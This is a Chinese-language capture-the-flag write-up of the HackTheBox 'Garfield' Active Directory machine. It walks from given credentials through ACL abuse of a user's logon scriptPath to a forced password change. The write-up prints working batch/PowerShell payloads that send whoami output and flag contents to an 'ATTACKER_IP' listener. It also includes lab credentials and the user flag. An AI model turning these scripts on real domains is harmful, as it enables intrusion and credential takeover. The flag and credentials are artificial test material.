HackTheBox - Garfield (Hard) Writeup
基本資訊
| 項目 | 內容 |
|---|---|
| 名稱 | Garfield |
| 難度 | Hard |
| 作業系統 | Windows Server 2019 |
| 類型 | Active Directory Domain Controller |
| Season | Season 10 |
| 作者 | ruycr4ft |
| 主機名稱 | DC01.garfield.htb |
| 網域 | garfield.htb (GARFIELD) |
偵查 (Reconnaissance)
端口掃描
nmap -Pn -sC -sV -T4 --min-rate 1000 10.129.21.196
關鍵端口:
| 端口 | 服務 | 說明 |
|---|---|---|
| 53 | DNS | Simple DNS Plus |
| 88 | Kerberos | Microsoft Kerberos |
| 135 | MSRPC | Microsoft Windows RPC |
| 389/636 | LDAP/LDAPS | Active Directory LDAP |
| 445 | SMB | Microsoft-DS |
| 2179 | vmrdp | Hyper-V VM Remote Desktop |
| 3389 | RDP | Microsoft Terminal Services |
| 5985 | WinRM | Microsoft HTTPAPI |
| 9389 | ADWS | AD Web Services |
從 RDP 憑證和 LDAP 可以確認:
- 網域:
garfield.htb - 電腦名稱:
DC01 - 產品版本:Windows Server 2019 (10.0.17763)
- Port 2179 揭示了 Hyper-V 的存在,暗示有內部虛擬機器
初始憑證
根據題目提供的初始認證資訊:
- 帳號:
j.arbuckle - 密碼:
Th1sD4mnC4t!@1978
Jon Arbuckle 是 Garfield(加菲貓)漫畫中的主人角色。
使用者列舉
利用 Kerberos Pre-Authentication 確認有效帳號:
GetNPUsers.py garfield.htb/ -no-pass -usersfile users.txt -dc-ip 10.129.21.196
發現的有效帳號:
administrator- 網域管理員j.arbuckle- Jon Arbuckle(初始使用者)l.wilson- Liz Wilson(Garfield 漫畫中的獸醫角色)
透過 LDAP 認證後的完整列舉:
GetADUsers.py -all 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978' -dc-ip 10.129.21.196
| 帳號 | 說明 |
|---|---|
| Administrator | 網域管理員 |
| krbtgt | Kerberos TGT 帳號 |
| krbtgt_8245 | RODC krbtgt 帳號(確認存在 Read-Only Domain Controller) |
| j.arbuckle | Jon Arbuckle |
| l.wilson | Liz Wilson(Remote Management Users、Remote Desktop Users) |
| l.wilson_adm | Liz Wilson ADM(Tier 1 群組、Remote Management Users) |
立足點 (Foothold)
ACL 分析
使用 bloodyAD 列舉 j.arbuckle 的可寫入屬性:
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb \
--host 10.129.21.196 get writable --otype user --right WRITE --detail
關鍵發現:**j.arbuckle 對 l.wilson 擁有 scriptPath 的 WriteProperty 權限**。
scriptPath 是 Active Directory 使用者物件的一個屬性,定義了使用者登入時自動執行的腳本路徑。腳本從 NETLOGON 共享目錄(\\DC01\NETLOGON\)載入。
攻擊步驟:Logon Script 注入
Step 1:建立惡意腳本
建立一個使用 PowerShell StreamWriter 透過 TCP 回傳資訊的批次腳本:
@echo off
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "
$c=New-Object System.Net.Sockets.TcpClient('ATTACKER_IP',9001);
$s=$c.GetStream();
$w=New-Object System.IO.StreamWriter($s);
$w.AutoFlush=$true;
$w.WriteLine((whoami));
$w.WriteLine('---');
$w.WriteLine((Get-Content C:\Users\l.wilson\Desktop\user.txt));
$c.Close()"
注意:此環境中 PowerShell 反向 Shell(互動式)無法正常運作,但 StreamWriter 的單向資料回傳可以成功。
Step 2:上傳到 SYSVOL
smbclient.py 'garfield.htb/j.arbuckle:Th1sD4mnC4t!@1978@DC01' << EOF
use SYSVOL
cd garfield.htb/scripts
put grab.bat
exit
EOF
SYSVOL 的 garfield.htb\scripts 目錄即為 NETLOGON 共享的後端路徑。
Step 3:設定 l.wilson 的 scriptPath
bloodyAD -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -d garfield.htb \
--host DC01 set object l.wilson scriptPath -v 'grab.bat'
Step 4:等待 l.wilson 登入
DC01 上有一個排程任務會模擬 l.wilson 的互動式登入。登入時會自動執行 scriptPath 指定的腳本。
在攻擊端啟動 TCP 接收器:
import socket, time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', 9001))
s.listen(1)
conn, addr = s.accept()
time.sleep(5)
data = b''
while True:
try: data += conn.recv(4096)
except: break
print(data.decode(errors='replace'))
確認回傳:garfield\l.wilson
重要時序問題:此環境的排程任務僅在機器重啟後觸發一次。scriptPath 和 SYSVOL 文件在機器 reset 後會保留(因為是 AD 屬性和 DC 磁碟上的檔案),因此需要在 reset 前就設定好一切,讓下次開機時腳本立即執行。
使用者提權 (User Flag)
l.wilson → l.wilson_adm(ForceChangePassword)
l.wilson 對 l.wilson_adm 擁有 ForceChangePassword 權限。
透過 logon script 使用 ADSI 直接修改 l.wilson_adm 的密碼:
@echo off
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "
$c=New-Object System.Net.Sockets.TcpClient('ATTACKER_IP',9001);
$s=$c.GetStream();
$w=New-Object System.IO.StreamWriter($s);
$w.AutoFlush=$true;
try {
$adm=[ADSI]'LDAP://CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb';
$adm.SetPassword('W1ls0n!2026');
$adm.SetInfo();
$w.WriteLine('l.wilson_adm password changed!')
} catch {
$w.WriteLine('Failed: '+$_.Exception.Message)
};
$c.Close()"
成功收到回傳:l.wilson_adm changed!
注意:
l.wilson無法修改自己的密碼(Access Denied),但可以修改l.wilson_adm的密碼,這是因為 AD 中特定的 ACL 委派設定(ForceChangePassword 延伸權限)。
取得 user.txt
l.wilson_adm 在 Remote Management Users 群組中,但直接透過 WinRM 連線會收到 Access Denied。改用 Invoke-Command 從 l.wilson 的 logon script 遠端執行命令:
@echo off
powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "
$c=New-Object System.Net.Sockets.TcpClient('ATTACKER_IP',9001);
$s=$c.GetStream();
$w=New-Object System.IO.StreamWriter($s);
$w.AutoFlush=$true;
$secpw=ConvertTo-SecureString 'W1ls0n!2026' -AsPlainText -Force;
$cred=New-Object System.Management.Automation.PSCredential(
'garfield.htb\l.wilson_adm',$secpw);
$result=Invoke-Command -ComputerName DC01 -Credential $cred -ScriptBlock {
whoami
type C:\Users\l.wilson_adm\Desktop\user.txt
whoami /groups
};
$w.WriteLine(($result -join [char]10));
$c.Close()"
成功取得:
garfield\l.wilson_adm
eeacc63de1fcabaf1332f9ef4887d121
User Flag
eeacc63de1fcabaf1332f9ef4887d121
攻擊鏈總結
j.arbuckle (初始憑證)
│
├── WriteProperty: scriptPath on l.wilson
│ └── 上傳惡意 bat 到 NETLOGON + 設定 scriptPath
│
▼
l.wilson (透過排程任務登入觸發 logon script)
│
├── ForceChangePassword on l.wilson_adm
│ └── ADSI SetPassword() 修改密碼
│
▼
l.wilson_adm (Tier 1, Remote Management Users)
│
└── Invoke-Command 取得 user.txt
使用工具
| 工具 | 用途 |
|---|---|
| nmap | 端口掃描與服務識別 |
| Impacket (smbclient.py, GetADUsers.py, GetNPUsers.py) | SMB 操作、AD 列舉 |
| bloodyAD | ACL 列舉與 AD 屬性修改 |
| Python socket | TCP 資料接收器 |
| PowerShell (ADSI, Invoke-Command) | 密碼修改、遠端命令執行 |